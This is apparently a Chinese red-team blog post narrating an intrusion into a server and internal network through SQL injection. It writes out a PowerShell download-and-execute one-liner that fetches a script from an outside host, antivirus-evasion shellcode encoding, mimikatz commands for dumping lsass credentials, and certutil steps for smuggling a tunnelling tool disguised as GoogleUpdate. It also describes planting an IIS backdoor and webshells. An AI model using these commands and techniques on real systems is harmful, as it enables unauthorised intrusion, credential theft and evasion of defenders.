给我一个SQL注入我能干翻你内网

渗透攻击红队

一个专注于红队攻击的公众号

大家好,这里是 渗透攻击红队 的第 48 篇文章,本公众号会记录一些红队攻击的笔记(由浅到深),不定时更新

前言

一个 SQL 注入可以帮我们的不仅仅是获取数据库表里的数据,还能让我们直接获取到目标服务器的权限,减少我们渗透的时间,本文主要围绕 SQL 注入如何进内网来写的,不多说兄弟们看文章就完事了。

给我一个 SQL 注入我能干翻你内网

卧槽有杀软

首先拿到一个站,权限很小,而且各种上线失败:

发现目标服务器是 2008 r2:

最后使用 powershell 上线,参考的是s1ye师傅的文章:https://www.chabug.org/web/1324.html

代码语言:javascript
复制
powershell set-alias -name kaspersky -value Invoke-Expression;kaspersky(New-Object Net.WebClient).DownloadString('http://xxxxx:9000/1.ps1')

上线后权限有问题,不能执行 shell 。

估计是对面机器上有杀软,被拦截了。

在这里我犯了一个大忌,直接无脑丢 exe 到目标机器上去执行,而不是先 tasklist 查看进程看看有没有 AV ,再去做免杀,大家在实际的过程中一定要注意,宁愿稳、慢、也不要粗暴!

Mssql 注入反弹 Powershell 上线

由于我们是通过Sql注入拿到的shell,这个时候我们发现目标可以开启xp_cmdshell 执行os-shell:

发现是管理员权限,这个时候通过 powershell 远程下载并执行 exe 上线 CS ,发现被拦截了:

随后使用 bypass 后的 powershell 脚本进行配合 sqlmap 执行命令成功上线:

拿到权限之后发现是一个工作组环境:

CobaltStrike 下的内网渗透

为了接下来的内网渗透,我们进行吧权限迁移到CS或者MSF上,我这边使用CS-Http上线:

之后用cs生成一个ps1,然后进行免杀:

https://www.cnblogs.com/forforever/p/13882312.html

代码语言:javascript
复制
$string = ''
$s = [Byte[]]$var_code = [System.Convert]::FromBase64String('这里是编码的 shellcode')
$s |foreach { $string = $string + $_.ToString()+','}
$string > c:\1.txt

本地测试一下:

代码语言:javascript
复制
powershell -ExecutionPolicy bypass -File .\index.ps1

可以上线!Virustotal 发现 bypass 了大部分 AV:

之后就上传到目标服务器成功上线CS:

虽然上线CS了,但是执行命令不了,可能是被拦截了:

这个时候我们尝试用 https 上线:

重复上面的操作:

随后运行 powershell 上线:

这个时候就能执行命令了:

随后 Run mimikatz 抓到了管理员的明文和哈希:

先不登录他远程桌面,我们先扫描内网存活主机,进行横向渗透:

发现存在大量机器:

之后进行 psexec 横向但是都没上线成功,我先做个流量socks代理:

之后发现他内网基本上都开放了 80 端口:

之后通过一个一个搞,中途拿下了几台机子后好像被发现了,这个时候发现sqlmap也没用了,它直接关站了!

峰回路转

过了几天,由于我之前留了一个 IIS 后门:

为了方便,我写了一个冰蝎马到网站目录

之后翻配置文件翻到了数据库密码:

还是那句话,除了在目标机器上抓系统账号密码,一定要去多翻翻机器上的其他文件:邮件、截截屏、翻翻浏览器记录、收藏夹、注册表、各类客户端软件目录下的配置文件...

这些文件里面很有可能包含大量有价值的账号密码,总之就一句话:拿到机器之后,先别急着上去就开始瞎扫,先把当前机器能翻的翻个底朝天,一直翻到不能动为止!千万别动不动上去不管三七二十一对着内网就说一段胡瞎扫,万一遇到什么流量检测设备苛刻点的环境,或者管理规范经验丰富的网管,可能很快就把你踢出局了,渗透过程中被对方发现是一件非常丢人的事情,实在是有点得不偿失,进入目标内网后,仔细耐心搜集信息永远是第一位的,宁愿慢、稳、也不要粗暴!

之后使用 procdump.exe 抓 lsass.dump 读取密码:

代码语言:javascript
复制
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

这里有个坑,我使用 procdump.exe 读取 lsass.dmp 是保存为 2.txt,不知道为什么,目标服务器上只要有 lsass.dmp 就会被杀掉,所以我吧它修改为 txt 然后就不会被杀了,之后下载到本地吧它修改为 lsass.dmp 就没事了!

由于冰蝎的 socks 代理是基于 http 的,不稳定,那么我就用 frp 进行代理,再代理前,我把 客户端的 frp 图标修改为 google 的图标用于麻痹管理员:

然后上传到目标服务器上:

在这里有一个小技巧,如果对面有杀软你上传exe就会被杀,那么你可以使用编码,把 frpc.exe 编码为 txt:

代码语言:javascript
复制
CertUtil -encode frpc.exe frpc.txt

然后再使用 certUtil 下载 frpc.txt :

代码语言:javascript
复制
certutil.exe -urlcache -split -f frpc.txt的地址

之后再目标服务器解码就可以了:

代码语言:javascript
复制
CertUtil -decode frpc.txt frpc.exe

然后进行 frp 内网穿透:

代码语言:javascript
复制
GoogleUpdate.exe -c GoogleUpdate.ini

在然后就可以了:

然后直接上线 CS :

日到这里发现 10.0.0.0 这个网段只有一台主机存活:

那么就很尴尬了,我的目标是拿下目标核心域控,只能重新打点搞了!

峰回路转第二弹 - 注入 Getshell

这个时候就只能重新搞了!

我后面又找到了一些注入点:

但是执行不了命令,估计是写权限被写死了:

没办法,只能通过 SQLMAP 来进行信息搜集了,sqlmap --password 跑出一些密码:

执行 -- sql-shell 可以读取 passwd 文件:

通过读文件,顺水推舟找到了数据库的配置文件:

之后通过sqlmap跑出来后台账号密码:

后台没做限制上传 php 成功 getshell:

然后通过查看网站源代码找到 php 路径:

但是蚁剑链接发现有问题:

这个时候用蚁剑的马上传:

成功 getshell !进入内网后发现没内网,而且没有翻到可利用的东西!哎,那么又得重新打点了!

峰回路转第三弹 - 注入到后台

然后我又找到了几处注入点:

同样不能执行命令:

后面找到后台账号密码登录到后台发现没有什么上传点:

最后日进了一个聊天室,但是没啥用:

结尾

其实本篇的技术不多,都是围绕 SQL 注入来写的,可见一个 SQL 注入就可以帮我们完成这么多的事情,一个 SQL 注入就能干翻内网,还是那句话,渗透的本质就是信息搜集,信息搜集的足够多,你渗透的成功性就会越大!